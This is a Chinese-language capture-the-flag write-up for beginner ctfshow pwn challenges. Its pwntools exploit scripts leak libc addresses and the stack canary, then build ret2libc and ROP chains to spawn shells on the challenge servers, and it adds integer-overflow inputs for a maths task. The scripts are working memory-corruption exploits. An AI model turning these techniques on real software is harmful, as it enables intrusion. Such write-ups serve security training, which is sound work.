ctfshow-pwn新手/萌新赛
ctfwork pwn题目
pwn03
先用puts覆盖ebp输出puts_got真实地址addr
然后通过 https://libc.blukat.me/ 查询一下 puts 及后三位 360
得到libc中puts_libc, system_libc , bin_sh_libc 的地址,
用addr-puts_libc得到基址, 再计算得到 system和bin_sh的地址。覆盖ebp得到shell
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
io = process("./stack1")
io = remote('pwn.challenge.ctf.show', 28023)
# gdb.attach(io, '''
# b * 0x80484DE
# ''')
elf = ELF("./stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = flat(b"A" * (9 + 4), puts_plt, main_addr, puts_got) # 泄露puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = unpack(io.recv(4))
print(hex(puts_addr))
# 0xf7d6d360 查一下 https://libc.blukat.me/
puts_libc = 0x067360
system_libc = 0x03cd10
str_bin_sh_libc = 0x17b8cf
base = puts_addr - puts_libc
system = base + system_libc
bin_sh = base + str_bin_sh_libc
payload2 = flat('a' * 13, system, 1, bin_sh )
io.sendline(payload2)
io.interactive()
pwn04
canary作用:防止栈破坏,将canary放在栈中,在返回时检测canary有没有被修改过
checksec有canary保护, ida分析
1.有后门。
2.格式化字符串漏洞
流程:
1.第一轮输出得到canary值
2.第二轮构造payload: 填充值+canary+填充+getshell_addr , 返回到getshell
unsigned int vuln()
{
v3 = __readgsdword(0x14u); // 这就是canary特征 这里下断
for ( i = 0; i <= 1; ++i )
{
read(0, &buf, 0x200u);
printf(&buf); // 格式化漏洞
}
return __readgsdword(0x14u) ^ v3;
}
对应汇编
.text:08048634 mov eax, large gs:14h ; canary保存到eax
.text:0804863A mov [ebp+var_C], eax ; 对应这里下断点,看eax值
在gdb中调试查看 eax值即canary为 0x2f986300
2.printf这里下断点, x/50wx $esp栈上打印出来,找到canary
.text:08048664 push eax ; format
.text:08048665 call _printf
.text:0804866A add esp, 10h
打印栈信息
x/40wx $esp
esp
0xffffd460: 0xffffd478 0xffffd478(1) 0x00000200(2) 0xf7e7e3bc
0xffffd470: 0xf7fc7000 0x00000000 0xf70a3231 0xf7e7ee22
0xffffd480: 0xf7fc7d60 0x0000000a 0xf7e7422b 0xf7fc7000
0xffffd490: 0xf7e7ede7 0xf7fc7000 0x0000000d 0xf7e73e0b
0xffffd4a0: 0xf7fc7d60 0x0000000a 0x0000000d 0xf7e7a000
0xffffd4b0: 0xf7fe77eb 0xf7e13700 0x00000000 0xf7fc7d60
0xffffd4c0: 0xffffd508 0xf7fee010 0xf7e73cbb 0x00000000
0xffffd4d0: 0xf7fc7000 0xf7fc7000 0xffffd508 0x2f986300(31) ;在这偏移31, (栈顶值不算)
0xffffd4e0: 0x08048768 0x02000000 0xffffd508 0x080486c1
leak_canary = 31
把canary在栈覆盖的中间插入不进行破坏在中
pwn06
from pwn import *
context.arch = 'amd64'
sh = remote("pwn.challenge.ctf.show", 28196)
# sh = process("pwn06")
junk = 'a' * (0xc + 8)
# run_cmd = 0x40057B
# payload = flat(junk, run_cmd)
# 方法2
ret = 0x40058E
get_flag = 0x400577
payload = flat(junk, ret, get_flag)
sh.sendline(payload)
sh.interactive()
pwn07
from pwn import *
context.arch = 'amd64'
io = remote("pwn.challenge.ctf.show", 28160)
# io = process("pwn07")
e = ELF('../pwn07')
main_addr = e.symbols['welcome']
puts_plt = e.symbols["puts"]
puts_got = e.got["puts"]
pop_rdi_ret = 0x04006e3
junk = 'a' * (0xc + 8)
payload = flat(junk, pop_rdi_ret, puts_got, puts_plt, main_addr)
io.sendline(payload)
addr = io.recv().strip(b'\n')[-6:]
addr = unpack(addr.ljust(8, b'\x00')) # 地址是6bytes, 补到8位unpack
print(hex(addr))
# https://libc.blukat.me/ 查一下 puts 9c0 查后三位就行
ret = 0x000040061E
system_addr = 0x04f440
puts = 0x0809c0
str_bin_sh = 0x1b3e9a
base = addr - puts
system = base + system_addr
bin_sh = base + str_bin_sh
payload = flat(junk, ret, pop_rdi_ret, bin_sh, system) # ubuntu64需要栈对齐, 加个ret
io.sendline(payload)
io.interactive()
# 本地exp
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# base = addr - libc.symbols['puts']
#
# system = base + libc.symbols["system"]
# bin_sh = base + libc.search(b'/bin/sh').__next__()
# payload = flat(junk, pop_rdi_ret, bin_sh, system)
# io.sendline(payload)
#
# io.interactive()
数学99
第一步普通整数溢出
有符号整数整数溢出, 2**32 -1 == -1 2**31+1== INT_MIN
用-1 减 -10即可
第二步,2**(32*n) + 9
的整数溢出, 爆破一下
import sys
for m in range(10):
res = 2 ** (32 + m) + 9
for i in range(10, 100):
if res % i == 0:
print(i, res / i)
sys.exit()
signal(8, handler)
// 见signal.h
#define SIGFPE 8 // 浮点溢出错误
https://baike.baidu.com/item/SIGFPE/22776976?fr=aladdin
触发方法
1.整数除以零 2.INT_MIN除以-1
from pwn import *
context.arch = 'amd64'
io = remote("stack.challenge.ctf.show", 28091)
# io = process("pwn2")
print(io.recv().decode())
io.sendline('4294967295')
io.sendline('4294967286')
io.sendline('48145')
io.sendline('89209')
io.sendline(str(2**31)) # INT_MIN
io.sendline(str(-1))
io.interactive()
web1, web2, web3, web4
?id='1000'